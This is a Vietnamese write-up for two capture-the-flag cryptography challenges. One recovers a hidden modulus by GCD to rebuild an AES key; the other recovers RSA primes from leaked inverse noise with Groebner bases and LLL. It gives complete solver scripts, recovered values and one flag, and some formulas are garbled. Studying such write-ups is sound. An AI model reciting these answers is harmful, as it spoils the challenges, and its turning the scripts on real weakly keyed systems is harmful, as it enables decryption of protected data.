Quan sát source thì mình thấy rằng Flag của ta được mã hóa bằng AES và key của ta được tính từ
key = sha256(str(cart.wrap()).encode()).digest()[:16], vậy ta sẽ tiến hành đi phân tích hàm wrap() của class IceCream.Gọi secret1 là \(s_1\), secret2 là \(s_2\), hàm
wrap()của ta có chức năng tính toán một giá trị $c$ như sau:
$$c = (s_1^e \mod n) + s_2$$
- Và sau đó nó gán giá trị của $c$ vừa tính được cho \(s_1\) và lặp lại quá trình tính toán trên. Vì Challenge lặp hàm
wrap()4 lần nên ta có 4 phương trình như sau:
$$c_1 = (s_1^e \mod n) + s_2 \hspace{5mm} (1)$$
$$c_2 = (c_1^e \mod n) + s_2 \hspace{5mm} (2)$$
$$c_3 = (c_2^e \mod n) + s_2 \hspace{5mm} (3)$$
$$c_4 = (c_3^e \mod n) + s_2 \hspace{5mm} (4)$$
- Bây giờ yêu cầu của Challenge chính là tính được chính xác giá trị tiếp theo là \(c_5\), công thức như sau:
$$c_5 = (c_4^e \mod n) + s_2$$
- Ta cần tìm \(s_2\), đã có giá trị của \(c_4\), \(c_3\) và $e$, tính giá trị của \(s_2\) như sau:
$$s_2 = c_4 - (c_3^e \mod n)$$
Có được \(s_2\) thì ta thay vào phương trình $(1)$ là có \(c_5\), bài toán kết thúc. Nhưng mà chúng ta chưa có modulus $n$. Vậy việc cần làm đầu tiên là tìm lại modulus $n$.
Đầu tiên ta lấy phương trình $(3)$ trừ phương trình $(2)$ và lấy phương trình $(4)$ trừ phương trình $(3)$ được hai phương trình như sau:
$$c_3 - c_2 = c_2^e - c_1^e \mod n$$
$$c_4 - c_3 = c_3^e - c_2^e \mod n$$
- Chuyển vế phải sang và bỏ phép \(\mod n\) ta được hai phương trình sau:
$$c_3 - c_2 - (c_2^e - c_1^e) = 0 + k_1 \times n \hspace{5mm} (*)$$
$$c_4 - c_3 - (c_3^e - c_2^e) = 0 + k_2 \times n \hspace{5mm} (**)$$
Vì đã có các giá trị \(c_2, c_3, c_4\) nên khi ta tính $GCD$ của biểu thức \((*)\) và \((**)\) thì ta sẽ có ước chung là giá trị $n$, bài toán kết thúc.
Script:
from Crypto.Util.number import * from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import pad e = 10001 c1 = 983988808468238406815261032742287398509539527772118186899154605157252213084385662543553125083212552614855410938487363846612472902230851873122019688775351 c2 = 411920476721397965776323967885506259683504493586810231951685564745710311651646483406456114404428768195904417807999931167817184410508419226228074455888655 c3 = 4698285906809496129283017525468414276062165111247080417389967682278838749600348577192449627647158658589122409242574072399131912703350920146158705409829488 c4 = 2355255751438494111558900855149710130746636811000805924350928855795353027981395558758632216685403335142820213370399046347758646897427052652845539550759589 ct = "b83519144a6ec70cf1d97e7b2bb952036e77260cac361ed742a190b3dddd1954717c41c8d8baaff729245b9a80e70e52d13150d59e12b6840f590102cb8a0891" n1 = c3 - c2 - (pow(c2, e) - pow(c1, e)) n2 = c4 - c3 - (pow(c3, e) - pow(c2, e)) n = GCD(n1, n2) s2 = (c4 - pow(c3, e, n)) % n c5 = pow(c4, e, n) + s2 key = sha256(str(c5).encode()).digest()[:16] cipher = AES.new(key, AES.MODE_ECB) print(cipher.decrypt(bytes.fromhex(ct)))
Flag: KCSC{1_607_570m4ch4ch3_b34c4u53_347_700_much_1c3cr34m}
Crypto 2 (hard)

Source:
from Crypto.Util.number import * from os import urandom flag = b"KCSC{fake_flag}" padding = urandom(1000 - len(flag)) flag = padding[: (1000 - len(flag))//2] + flag + padding[(1000 - len(flag))//2 :] p = getPrime(1024) q = getPrime(512) e = 0x10001 n = p * q c = pow(bytes_to_long(flag), e, n) key = q ks = [] noises = [] for i in range(15): noise = key + 3*i + 5 noise_inv = inverse(noise, p) k = (noise_inv * noise - 1) // p ks.append(k) noises.append(noise_inv % 2**562) with open("data.txt","w") as f: f.write(f"{n = }\n{noises = }\n{ks = }\n")data.txt
c = 958390793518378697087296421800510334363447372842473258361270888061359845988062617160847787493538009149015476122598987518417419094843072448103313497164473296044057151262149271633030868336861854949936583056107714557666720454320727670426024759878104055294508600827276053390768097909341499650595336630811407938767958056612000718155852086280949620705266088823405319610741770144481342370840316322962959361700770145395482234905665577476137556580613854059161166908076563 noises = [7855711876569802238862413165275600906813725762035718788939102158061380227877261762058163252276012974919613869744386471326379360599551714048814350682844653203632596811700, 11016762668854429203921748552171961540330601718050664348323205797201647566906360457303813510699134610808048666995818660000595371281648507789977635794049527374670915074820, 11546537801915447264802137334545592446958309083548637512152243512181257950929398818955898367116157381845553377528332628838810077828034595899755565832327915425781910578439, 14830729778111523754153466930320460677549254575098428551135275406990012856666239121852688775241624133868906117915735977555517436901488865149110824895148729747382400302735, 12907187256704172729107731584833713827465378465099977282577640066526827100848547817920519272964340115432388355503430889687196818282392932653498115462633041044503277974348, 12138846625255592521563612083084082981604248578123108209967521720915214134631110004822440010797002143437417645081236617079726153719130327393125423457708193164785079343086, 739523797727999924234547033495024454536077879042322224023692246011372669433295815544499023380041352962654821966906221244535621757121658976493022103991684410944260441162, 10912720975459354397739596143674407139194119895970368719866752943212477569655440757739848406867091021804581233694510089684679552007293849432444225461324183971137511847850, 5808807130421099726863129210954911380673640771955929374201995801529194903892832719794393448564558695251305267337407921976623897457446026039650140168312597722101737867377, 6870714010059053187003558056421661621211755459105144640275368103761664542845966933600910306834129475974876509027992589543452526949905158943937805162971925181177623545706, 14001977026303213753344771778959822998356523953467938417570588825474587458038917314981845799115762940916991783878210493664223158815126302912780685563402149348230275770190, 2703973027755031256526864275850359824471693408893668839490715558453757417896110268005975650433171168484478679910175856477619764900062649145928051355223654355802268429828, 2197799411096076134244174423868396977861502716614420367844698041028287534815946837970931537722713608970852047499736568341768228551190841854816687141278293724986033804833, 6075559627298470723737160139773692997034806166978942024860600924417526676075369730013184451780131430065519578644230326849609926904745308079312413920535221565905507405787, 6192265537641579777321105222372552667784798470028740666393274098101434097162631461434169230747053524655097972801202035288143826479354640729278654236265719132207498664412] ks = [188342419899480149536884744017610449040092383019272248788959474691994413969719059118388685743603155504636227720165256840721069157015807449049211460253193, 2524032492075863404568209983324668522574966560976022920474303041695931745292134024805133065252540879869398798070277250051370058237130781549140268588979741, 3668089499830133831067934187396832654741712179290611321105361394043708714207354289456329073317267896181461996357656482682562832756019136386463281668147597, 787787910858589886444577841106414412143077182871445558404189242413347285556605603096222171073736492222727597718358413446678740896394491930381038665121984, 5969746486150167662037133056426653272095571564362080467447908647771862414810883039477641097271866604770772719228490891456621179456874478543312762101011945, 3953217233915265744392631383349005252504986319285163722465977735607534480220118278786439611479721354895554188803942058684275260525947213712273507161369083, 4703008646650559151263915675980342869678582333983285387772678033375440253018051362888097872035173512023181428217784439917007569473323902339013784947548817, 4501690793684706714453057890878006909948693156550389759496860753395691942571265613093123643690372231103171045523407714153581252263042363624513611315744787, 2874911234935885776724870513977581714604232366383062929938550655871436461399856184577119939177694657465354516516047758735724966092696982807333754161121763, 6807368946443140675648934273041372592283914654163350087761898286033102359032462642892185826153908771772176615450328348070881136865613927396914213307028823, 278211494072033197885754804219785966600017003124368934336640552995267695544391267083052940908660042483493904705872074416528235534610757303534430447847433, 1558365191956305255182334966416705368442755011866281958336373678292946152152443736046507333024441976071233683858273758166768326012234742351338218885065893, 3485367897376122736793872341240247397026215356530797459918379349421401150937114097374676678036857389576159611944092267415794839255765051218093322919755447, 2515456897351178494301823923332414671089420746643455306358829413922283380911750878593348268259769997426299206977825772717836168569349433038297458642933154, 4092447245860483948794687799772397211468262697039308695517969469204107269630882626451514975266106190665554492836842864230426192321181584429136242874419201]Một Challenge khó về Lattice, mình cũng chưa thể hiểu tường tận Lattice nên nếu bên dưới mình có nhầm lần hay ghi gì chưa đúng thì các bạn nhắc mình nha.
Trong khi giải diễn ra thì mình không làm được bài này nên sau khi giải kết thúc mình có thao khảo Wu của anh @nomorecaffeine để làm theo, anh giải thích rất chi tiết nên mình thấy bài này rất hay và dễ hiểu, sau đây là wu của mình về những gì mình hiểu.
Đọc sơ qua source thì mình thấy rằng Flag được mã hóa bằng RSA với mũ \(e = 65537\) nên ta phải tìm được hai số nguyên tố \(\text{p,q}\) thì mới giải mã \(\text{c}\) được.

- Source cho ta các dữ kiện sau:
$$\begin{split} \text{noises} &= [\text{noise}{\text{inv256_0}}, \text{noise}{\text{inv256_1}},\text{noise}{\text{inv256_2}}, \dots, \text{noise}{\text{inv256_14}}]\\ \text{ks} &= [\text{k}_0,\text{k}_1, \text{k}2, \dots, \text{k}{14}] \end{split}$$
Phân tích đoạn sau:
key = q ks = [] noises = [] for i in range(15): noise = key + 3*i + 5 noise_inv = inverse(noise, p) k = (noise_inv * noise - 1) // p ks.append(k) noises.append(noise_inv % 2**562)Biết được công thức \(\text{noise}_{\text{inv256_i}}\) là:
$$\text{noise}{\text{inv256_i}} \equiv \text{noise}{\text{inv_i}} \pmod {2^{562}} \hspace{5mm} (*)$$
- Giá trị \(\text{k}_{\mathbf{i}}\) là:
$$\text{noise}{\text{inv_i}} \times \text{noise}{\mathbf{i}}= 1 + \text{k}_{{\mathbf{i}}} \times \text{p} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\} \hspace{5mm} (**)$$
Ý tưởng của tác giả là phải tìm được \(\text{p}\) và \(\text{q}\) thông qua các phương trình \((**)\)
Có hai mục tiêu ta cần phải làm đó là tìm p và tìm q, phải tìm cả hai vì Challenge chưa cho n. Ta sẽ dựa vào phương trình \((**)\) để đi tìm q trước.
Đầu tiên, từ \((*)\) Ta biến đổi giá trị của \(\text{noise}_{\text{inv}}\) thành:
$$\text{noise}{\text{inv_i}} = \text{noise}{\text{inv256_i}} + \text{a}_{\mathbf{i}} \times 2^{562} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\} \hspace{5mm} (1)$$
- Tiếp theo mod giá trị của \(\text{p}\) với \(2^{562}\) và bỏ phép mod, ta được:
$$\text{p} = \text{p'} + \text{b} \times 2^{562} \hspace{5mm} (2)$$
- Thế cả $(1)$ và $(2)$ vào phương trình \((**)\) được:
$$(\text{noise}{\text{inv256_i}} + \text{a}{\mathbf{i}} \times 2^{562}) \times \text{noise}{\mathbf{i}} = 1 + \text{k}{{\mathbf{i}}} \times (\text{p'} + \text{b} \times 2^{562})$$
- Phân phối, chuyển vế các giá trị chứa \(2^{562}\) sang bên trái, ta được:
$$\text{a}{\mathbf{i}} \times \text{noise}{\mathbf{i}} \times 2^{562} - \text{k}{{\mathbf{i}}} \times \text{b} \times 2^{562} = 1 - \text{noise}{\text{inv256_i}} \times \text{noise}{\mathbf{i}} + \text{k}{{\mathbf{i}}} \times\text{p'} \hspace{5mm} (***)$$
- Sau đó ta mod hai vế cho \(2^{562}\) và được phương trình mới:
$$1 - \text{noise}{\text{inv256_i}} \times \text{noise}{\mathbf{i}} + \text{k}_{{\mathbf{i}}} \times\text{p'} \equiv 0 \pmod {2^{562}}$$
$$\Leftrightarrow 1 - \text{noise}{\text{inv256_i}} \times (\text{q} + 3 \times \mathbf{i} + 5) + \text{k}{{\mathbf{i}}} \times\text{p'} \equiv 0 \pmod {2^{562}} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\}$$
Đây là một phương trình modulo có hai ẩn là \(\text{q}\) và \(\text{p'}\), và có đến 15 phương trình nên việc giải hệ này là khả thi.
Có nhiều cách giải hệ nhưng mình sẽ thử cách mới mà hồi giờ chưa dùng đó là sử dụng phương thức groebner_basis() của thư viện
sagemath, dùng để đơn giản tập sinh của một Ideal trong vành đa thức. Hay có thể hiểu là nó giúp đơn giản hóa phương trình ban đầu và biến nó thành một phương trình đơn giản, dễ giải hơn.Code:
from sage.all import * x, y = PolynomialRing(Zmod(2**562), ["x", "y"]).gens() I = Ideal([ 1 - noises[0] * (x + 5) + ks[0] * y, 1 - noises[1] * (x + 8) + ks[1] * y, 1 - noises[2] * (x + 11) + ks[2] * y ]) print(I.groebner_basis()) #[x + 15095849699286157176165192141574519938693899918427427740708979667686108913040888895928594081761428218515984585906870777122468994835321959450919640276403457857023062016735, y + 8046359343118037782228277823598020857453001371030183803247456593467443731321455063833959619491793509652535546439016536857407146846080157709770883346704338364262578059073]Có thể thấy là hệ phương trình của ta đã được đơn giản hóa thành dạng \(x + a \equiv 0 \pmod {2^{562}}\) và \(y + b \equiv 0 \pmod {2^{562}}\) để có \(\text{q}\) và \(\text{p'}\) ta chỉ cần tính:
$$\left\{\begin{matrix} \text{q} = 2^{562} - a \\ \text{p'} = 2^{562} - b \end{matrix}\right.$$
Vậy là tính được $q$ rồi, mục tiêu tiếp theo là tìm $p$
Có \(\text{q}\) và \(\text{p'}\) thì ta sẽ đi tìm \(\text{b}\), vì \(\text{p} = \text{p'} + \text{b} \times 2^{562}\) nên ta chỉ cần đi tìm \(\text{b}\) là có \(\text{p}\).
Đặt \(\text{noise}_{\mathbf{i}} = n_{\mathbf{i}}\). Dựa vào phương trình \((***)\) ta lập được một cơ sở Lattice như sau:
$$M = \begin{pmatrix} -k_0 \cdot 2^{562} &-k_1 \cdot 2^{562} &\cdots &-k_{14} \cdot 2^{562} &1 & & & & &\\ n_0 \cdot 2^{562} &0 &\cdots &0 & &1 & & & &\\ & n_1 \cdot 2^{562} &\cdots &0 & & &1 & & &\\ \vdots &\vdots &\ddots &\vdots & & & & \ddots & &\\ & &\cdots &n_{14} \cdot 2^{562} & & & & &1 & \\ -v_0 &-v_1 &\cdots &-v_{14} & & & & & &1 \end{pmatrix}$$
Với vi là vế phải của phương trình \((***)\).
- Sau khi áp dụng LLL với ma trận M, ta sẽ được một vector chứa 32 phần tử như sau:
$$[0, 0, \dots, 0, \text{b}, a_0, a_1, \dots, a_{14}, 1]$$
Giá trị b sẽ nằm ở index thứ 15.
Code:
from sage.all import * from Crypto.Util.number import * M = [] vs = [] q = 8232801026182378555624973784963238333972795845533296387736527706512415912818949206851649888914216184602476613343684377211079326096729327326317574519291169 p_ = 7049490356168127626737940500355054706214683510635577910257368607515052918247140344510547281218841560513337953684038842741675191673619012820474853659026445810335003248831 assert is_prime(q) M.append([-ks[i] * 2**562 for i in range(15)]) for i in range(15): d = q + 3 * i + 5 v = -(1 - d * noises[i] + ks[i] * p_) vs.append(v) row = [0]*(15) row[i] = d * 2**562 M.append(row) M.append(vs) M = matrix(M) M = M.augment(identity_matrix(17)) L = M.LLL() print(L[0][15])Giá trị \(\text{b}\):

Có \(\text{b}\) là có được \(\text{p}\) rồi, ta sẽ tính được khóa bí mật \(\text{d}\) và bài toán kết thúc:
from Crypto.Util.number import * b = 9973918226342931101713742759510102202832949751016016433335951379486864420606419272916855340660179601297616652770791167118160222182913331004 p_ = 7049490356168127626737940500355054706214683510635577910257368607515052918247140344510547281218841560513337953684038842741675191673619012820474853659026445810335003248831 q = 8232801026182378555624973784963238333972795845533296387736527706512415912818949206851649888914216184602476613343684377211079326096729327326317574519291169 c = 958390793518378697087296421800510334363447372842473258361270888061359845988062617160847787493538009149015476122598987518417419094843072448103313497164473296044057151262149271633030868336861854949936583056107714557666720454320727670426024759878104055294508600827276053390768097909341499650595336630811407938767958056612000718155852086280949620705266088823405319610741770144481342370840316322962959361700770145395482234905665577476137556580613854059161166908076563 e = 65537 p = p_ + 2**562 * b assert isPrime(p) and isPrime(q) n = p*q d = pow(e, -1, n-p-q+1) print(long_to_bytes(pow(c, d, n)))Flag:
